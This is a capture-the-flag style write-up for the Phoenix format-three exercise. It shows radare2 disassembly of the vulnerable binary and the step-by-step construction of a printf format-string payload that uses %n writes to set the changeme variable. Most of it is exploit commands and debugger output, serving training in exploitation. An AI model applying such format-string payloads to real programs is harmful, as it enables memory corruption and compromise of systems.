$ r2 /opt/phoenix/i486/format-three
[0x08048350] > aas
Cannot analyze at 0x080485e0
[0x08048350] > afl
0x080482d8 1 17 sym . _init
0x080484a0 7 277 -> 112 sym . frame_dummy
0x080485a0 5 49 sym . __do_global_ctors_aux
0x080485d1 1 12 sym . _fini
0x08048420 8 113 -> 111 sym . __do_global_dtors_aux
0x08048114 40 492 -> 577 sym .. interp
0x08048350 1 62 entry0
0x08048340 1 6 sym . imp . __libc_start_main
0x080486a8 1 14 loc . __GNU_EH_FRAME_HDR
0x080486cc 3 34 sym .. eh_frame
0x08048708 1 10 obj . __EH_FRAME_BEGIN
0x08048390 4 49 -> 40 sym . deregister_tm_clones
0x0804874c 1 4 obj . __FRAME_END
0x080484fc 6 155 main
0x08048310 1 6 sym . imp . puts
0x08048320 1 6 sym . imp . read
0x08048330 1 6 sym . imp . exit
0x080484e5 1 23 sym . bounce
0x08048300 1 6 sym . imp . printf
[0x08048350] > s main
[0x080484fc] > pdf
/ ( fcn ) main 155
| int main ( int argc , char ** argv , char ** envp ) ;
| ; var int32_t var_1008h @ ebp-0x1008
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x8048384
| 0x080484fc 8 d4c2404 lea ecx , [ arg_4h ]
| 0x08048500 83 e4f0 and esp , 0xfffffff0
| 0x08048503 ff71fc push dword [ ecx - 4 ]
| 0x08048506 55 push ebp
| 0x08048507 89 e5 mov ebp , esp
| 0x08048509 51 push ecx
| 0x0804850a 81 ec04100000 sub esp , 0x1004
| 0x08048510 83 ec0c sub esp , 0xc
| 0x08048513 68 e0850408 push str . Welcome_to_phoenix_format_three__brought_to_you_by_https : __exploit . education ; sym..rodata
| ; 0x80485e0 ; "Welcome to phoenix/format-three, brought to you by https://exploit.education"
| 0x08048518 e8f3fdffff call sym . imp . puts ; int puts(const char *s)
| 0x0804851d 83 c410 add esp , 0x10
| 0x08048520 83 ec04 sub esp , 4
| 0x08048523 68 ff0f0000 push 0xfff
| 0x08048528 8 d85f8efffff lea eax , [ var_1008h ]
| 0x0804852e 50 push eax
| 0x0804852f 6 a00 push 0
| 0x08048531 e8eafdffff call sym . imp . read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x08048536 83 c410 add esp , 0x10
| 0x08048539 85 c0 test eax , eax
| , =< 0x0804853b 7 f0a jg 0x8048547
| | 0x0804853d 83 ec0c sub esp , 0xc
| | 0x08048540 6 a01 push 1 ; 1
| | 0x08048542 e8e9fdffff call sym . imp . exit ; void exit(int status)
| ` -> 0x08048547 83 ec0c sub esp , 0xc
| 0x0804854a 8 d85f8efffff lea eax , [ var_1008h ]
| 0x08048550 50 push eax
| 0x08048551 e88fffffff call sym . bounce
| 0x08048556 83 c410 add esp , 0x10
| 0x08048559 a144980408 mov eax , dword [ obj . changeme ] ; [0x8049844:4]=0
| 0x0804855e 3 d45784564 cmp eax , 0x64457845
| , =< 0x08048563 7512 jne 0x8048577
| | 0x08048565 83 ec0c sub esp , 0xc
| | 0x08048568 6830860408 push str . Well_done__the__changeme__variable_has_been_changed_correctly ; 0x8048630 ; "Well done, the 'changeme' variable has been changed correctly!"
| | 0x0804856d e89efdffff call sym . imp . puts ; int puts(const char *s)
| | 0x08048572 83 c410 add esp , 0x10
| , ==< 0x08048575 eb16 jmp 0x804858d
| | ` -> 0x08048577 a144980408 mov eax , dword [ obj . changeme ] ; [0x8049844:4]=0
| | 0x0804857c 83 ec08 sub esp , 8
| | 0x0804857f 50 push eax
| | 0x08048580 6870860408 push str . Better_luck_next_time___got_0x_08x__wanted_0x64457845 ; 0x8048670 ; "Better luck next time - got 0x%08x, wanted 0x64457845!\n"
| | 0x08048585 e876fdffff call sym . imp . printf ; int printf(const char *format)
| | 0x0804858a 83 c410 add esp , 0x10
| | ; CODE XREF from main @ 0x8048575
| ` --> 0x0804858d 83 ec0c sub esp , 0xc
| 0x08048590 6 a00 push 0
\ 0x08048592 e899fdffff call sym . imp . exit ; void exit(int status)
[0x080484fc] > agf
[0x080484fc] > # int main ( int argc , char ** argv , char ** envp ) ;
. ------------------------------------------------------------------------------------------ .
| 0x80484fc |
| ( fcn ) main 155 |
| int main ( int argc , char ** argv , char ** envp ) ; |
| ; var int32_t var_1008h @ ebp-0x1008 |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x8048384 |
| lea ecx , [ arg_4h ] |
| and esp , 0xfffffff0 |
| push dword [ ecx - 4 ] |
| push ebp |
| mov ebp , esp |
| push ecx |
| sub esp , 0x1004 |
| sub esp , 0xc |
| ; sym..rodata |
| ; 0x80485e0 |
| ; "Welcome to phoenix/format-three, brought to you by https://exploit.education" |
| push str . Welcome_to_phoenix_format_three__brought_to_you_by_https : __exploit . education |
| ; int puts(const char *s) |
| call sym . imp . puts ;[oa] |
| add esp , 0x10 |
| sub esp , 4 |
| push 0xfff |
| lea eax , [ var_1008h ] |
| push eax |
| push 0 |
| ; ssize_t read(int fildes, void *buf, size_t nbyte) |
| call sym . imp . read ;[ob] |
| add esp , 0x10 |
| test eax , eax |
| jg 0x8048547 |
` ------------------------------------------------------------------------------------------ '
f t
| |
| ' --------------------------------------- .
' ----------- . |
| |
. ------------------------- . . ---------------------------------- .
| 0x804853d | | 0x8048547 |
| sub esp , 0xc | | sub esp , 0xc |
| ; 1 | | lea eax, [var_1008h] |
| push 1 | | push eax |
| ; void exit(int status) | | call sym.bounce;[od] |
| call sym . imp . exit ;[oc] | | add esp, 0x10 |
` ------------------------- ' | ; [0x8049844:4]=0 |
| mov eax , dword [ obj . changeme ] |
| cmp eax , 0x64457845 |
| jne 0x8048577 |
` ---------------------------------- '
f t
| |
| ' --------------- .
. ------------------------------------------------------------- ' |
| |
. --------------------------------------------------------------------------- . . ------------------------------------------------------------------- .
| 0x8048565 | | 0x8048577 |
| sub esp , 0xc | | ; [0x8049844:4]=0 |
| ; 0x8048630 | | mov eax, dword [obj.changeme] |
| ; "Well done, the 'changeme' variable has been changed correctly!" | | sub esp, 8 |
| push str . Well_done__the__changeme__variable_has_been_changed_correctly | | push eax |
| ; int puts(const char *s) | | ; 0x8048670 |
| call sym . imp . puts ;[oa] | | ; "Better luck next time - got 0x%08x, wanted 0x64457845!\n" |
| add esp , 0x10 | | push str . Better_luck_next_time___got_0x_08x__wanted_0x64457845 |
| jmp 0x804858d | | ; int printf(const char *format) |
` --------------------------------------------------------------------------- ' | call sym . imp . printf ;[oe] |
v | add esp , 0x10 |
| ` ------------------------------------------------------------------- '
| v
| |
' ----------------------------------------------------------- . |
| . ----------------- '
| |
. ----------------------------------- .
| 0x804858d |
| ; CODE XREF from main @ 0x8048575 |
| sub esp , 0xc |
| push 0 |
| ; void exit(int status) |
| call sym . imp . exit ;[oc] |
` ----------------------------------- '
[0x080484fc] > pdf @ sym . bounce
/ ( fcn ) sym . bounce 23
| sym . bounce ( int32_t arg_8h ) ;
| ; arg int32_t arg_8h @ ebp+0x8
| ; CALL XREF from main @ 0x8048551
| 0x080484e5 55 push ebp
| 0x080484e6 89 e5 mov ebp , esp
| 0x080484e8 83 ec08 sub esp , 8
| 0x080484eb 83 ec0c sub esp , 0xc
| 0x080484ee ff7508 push dword [ arg_8h ]
| 0x080484f1 e80afeffff call sym . imp . printf ; int printf(const char *format)
| 0x080484f6 83 c410 add esp , 0x10
| 0x080484f9 90 nop
| 0x080484fa c9 leave
\ 0x080484fb c3 ret
The binary is almost identical with the one from the previous level. The only difference is that the value to be written to the address of the flag obj.changeme
is 0x64457845
.
With that in mind, the methodology to be followed takes into account the exploit from the previous level. In order to write 4 bytes, one at a time, the exploit needs to be modified a little bit.
$ echo $( printf " \x 44 \x 98 \x 04 \x 08AAAA \x 45 \x 98 \x 04 \x 08AAAA \x 46 \x 98 \x 04 \x 08AAAA \x 47 \x 98 \x 04 \x 08" ) %x%x%x%x%x%x%x%x%x%x%8x%n > pattern
#!/usr/bin/env rarun2
stdio = /dev/pts/0
stdin = ./pattern
Replace /dev/pts/0
with the output of the command tty
and ./pattern
with the full path to the file that contains the input to be read from the binary.
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eccd4b] > aas
Cannot analyze at 0x080485e0
[0xf7eccd4b] > db 0x0804855e
[0xf7eccd4b] > px / xw @ obj . changeme
0x08049844 0x00000000 ....
[0xf7eccd4b] > dc
Welcome to phoenix / format - three , brought to you by https : //exploit.education
hit breakpoint at : 804855 e
[0x0804855e] > px / xw @ obj . changeme
0x08049844 0x00000059 Y ...
The first time, the calculation for the byte to be written is as follows: "the byte we want to write" - "the outputted byte" + "the width that was specified to the %x specifier before the %n specifier"
.
[0x0804855e] > ? 0x45 - 0x59 + 8
int64 - 12
uint64 18446744073709551604
hex 0xfffffffffffffff4
octal 01777777777777777777764
unit 16 E
segment fffff000 : 0 ff4
string " \xf4\xff\xff\xff\xff\xff\xff\xff "
fvalue : - 12 . 0
float : nanf
double : nan
binary 0 b1111111111111111111111111111111111111111111111111111111111110100
trits 0 t11112220022122120101211020120210210211111
The result is a negative integer, which is not appropriate. To circumvent that, increase the value of the byte to be written by adding an ace so that the result is a positive integer.
Note that there are probably better methods that i am not aware of.
[0x0804855e] > ? 0x145 - 0x59 + 8
int32 244
uint32 244
hex 0xf4
octal 0364
unit 244
segment 0000 : 00 f4
string " \xf4 "
fvalue : 244 . 0
float : 0 . 000000 f
double : 0 . 000000
binary 0 b11110100
trits 0 t100001
Now, the exploit needs to be updated.
$ echo $( printf " \x 44 \x 98 \x 04 \x 08AAAA \x 45 \x 98 \x 04 \x 08AAAA \x 46 \x 98 \x 04 \x 08AAAA \x 47 \x 98 \x 04 \x 08" ) %x%x%x%x%x%x%x%x%x%x%244x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7f66d4b] > aas
Cannot analyze at 0x080485e0
[0xf7f66d4b] > db 0x0804855e
[0xf7f66d4b] > px / xw @ obj . changeme
0x08049844 0x00000000 ....
[0xf7f66d4b] > dc
Welcome to phoenix / format - three , brought to you by https : //exploit.education
hit breakpoint at : 804855 e
[0x0804855e] > px / xw @ obj . changeme
0x08049844 0x00000145 E ...
From here on, the byte to be written is calculated as follows: "the byte we want to write" - "the previous byte that was written"
.
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0x0804855e] > ? 0x78 - 0x145
int64 - 205
uint64 18446744073709551411
hex 0xffffffffffffff33
octal 01777777777777777777463
unit 16 E
segment fffff000 : 0 f33
string "3 \xff\xff\xff\xff\xff\xff\xff "
fvalue : - 205 . 0
float : nanf
double : nan
binary 0 b1111111111111111111111111111111111111111111111111111111100110011
trits 0 t11112220022122120101211020120210210120100
[0x0804855e] > ? 0x178 - 0x145
int32 51
uint32 51
hex 0x33
octal 063
unit 51
segment 0000 : 0033
string "3"
fvalue : 51 . 0
float : 0 . 000000 f
double : 0 . 000000
binary 0 b00110011
trits 0 t1220
Updating the exploit..
$ echo $( printf " \x 44 \x 98 \x 04 \x 08AAAA \x 45 \x 98 \x 04 \x 08AAAA \x 46 \x 98 \x 04 \x 08AAAA \x 47 \x 98 \x 04 \x 08" ) %x%x%x%x%x%x%x%x%x%x%244x%n%51x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eecd4b] > aas
Cannot analyze at 0x080485e0
[0xf7eecd4b] > db 0x0804855e
[0xf7eecd4b] > px / xw @ obj . changeme
0x08049844 0x00000000 ....
[0xf7eecd4b] > dc
Welcome to phoenix / format - three , brought to you by https : //exploit.education
hit breakpoint at : 804855 e
[0x0804855e] > px / xw @ obj . changeme
0x08049844 0x00017845 Ex ..
[0x0804855e] > ? 0x45 - 0x178
int64 - 307
uint64 18446744073709551309
hex 0xfffffffffffffecd
octal 01777777777777777777315
unit 16 E
segment fffff000 : 0 ecd
string " \xcd\xfe\xff\xff\xff\xff\xff\xff "
fvalue : - 307 . 0
float : nanf
double : nan
binary 0 b1111111111111111111111111111111111111111111111111111111011001101
trits 0 t11112220022122120101211020120210210102120
[0x0804855e] > ? 0x1145 - 0x178
int32 4045
uint32 4045
hex 0xfcd
octal 07715
unit 4 . 0 K
segment 0000 : 0 fcd
string " \xcd\x0f "
fvalue : 4045 . 0
float : 0 . 000000 f
double : 0 . 000000
binary 0 b0000111111001101
trits 0 t12112211
$ echo $( printf " \x 44 \x 98 \x 04 \x 08AAAA \x 45 \x 98 \x 04 \x 08AAAA \x 46 \x 98 \x 04 \x 08AAAA \x 47 \x 98 \x 04 \x 08" ) %x%x%x%x%x%x%x%x%x%x%244x%n%51x%n%4045x%n > pattern
$ r2 -d /opt/phoenix/i486/format-three -r theProfile.rr2
[0xf7eded4b] > aas
Cannot analyze at 0x080485e0
[0xf7eded4b] > db 0x0804855e
[0xf7eded4b] > px / xw @ obj . changeme
0x08049844 0x00000000 ....
[0xf7eded4b] > dc
Welcome to phoenix / format - three , brought to you by https : //exploit.education
hit breakpoint at : 804855 e
[0x0804855e] > px / xw @ obj . changeme
0x08049844 0x11457845 ExE .
[0x0804855e] > ? 0x64 - 0x1145
int64 - 4321
uint64 18446744073709547295
hex 0xffffffffffffef1f
octal 01777777777777777767437
unit 16 . 0 E
segment fffff000 : 0 f1f
string " \x1f\xef\xff\xff\xff\xff\xff\xff "
fvalue : - 4321 . 0
float : nanf
double : nan
binary 0 b1111111111111111111111111111111111111111111111111110111100011111
trits 0 t11112220022122120101211020120210120220220
[0x0804855e] > ? 0x1164 - 0x1145
int32 31
uint32 31
hex 0x1f
octal 037
unit 31
segment 0000 : 001 f
string " \x1f "
fvalue : 31 . 0
float : 0 . 000000 f
double : 0 . 000000
binary 0 b00011111
trits 0 t1011
$ echo $( printf " \x 44 \x 98 \x 04 \x 08AAAA \x 45 \x 98 \x 04 \x 08AAAA \x 46 \x 98 \x 04 \x 08AAAA \x 47 \x 98 \x 04 \x 08" ) %x%x%x%x%x%x%x%x%x%x%244x%n%51x%n%4045x%n%31x%n > pattern
$ /opt/phoenix/i486/format-three < pattern
Welcome to phoenix/format-three, brought to you by https://exploit.education
DAAAAEAAAAFAAAAG000f7f72cf7f7fec000ffcbc5688048556ffcbb560ffcbb560fff
Well done , the 'changeme' variable has been changed correctly!